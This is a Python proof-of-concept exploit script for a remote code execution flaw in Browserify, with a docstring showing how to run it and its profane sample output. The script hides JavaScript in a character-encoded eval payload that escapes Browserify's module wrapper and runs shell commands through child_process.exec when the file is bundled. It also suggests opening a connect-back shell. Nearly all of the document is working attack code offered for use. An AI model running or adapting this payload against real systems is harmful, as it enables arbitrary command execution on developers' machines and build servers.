#!/usr/bin/python    """ Browserify POC exploit   http://iops.io/blog/browserify-rce-vulnerability/    To run, just do:    $ python poc.py > exploit.js $ browserify exploit.js BITCH I TOLD YOU THIS SHIT IS FABULOUS [[garbage output]] },{}]},{},[1]) 00:08:32 up 12:29,  3 users,  load average: 0.00, 0.02, 0.05 uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)    You can also spawn() and create a connect back shell.    Enjoy    """   def charencode(string):     encoded=''     for char in string:         encoded=encoded+","+str(ord(char))     return encoded[1:]    plaintext = """    var require = this.process.mainModule.require;    var sys = require('sys')    var exec = require('child_process').exec;    function puts(error, stdout, stderr) { sys.puts(stdout) }    exec("uptime && id", puts);    console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS"); """   payload = charencode(plaintext) final = "eval(String.fromCharCode(%s));" %(payload)    print "});"print final print "(function(){"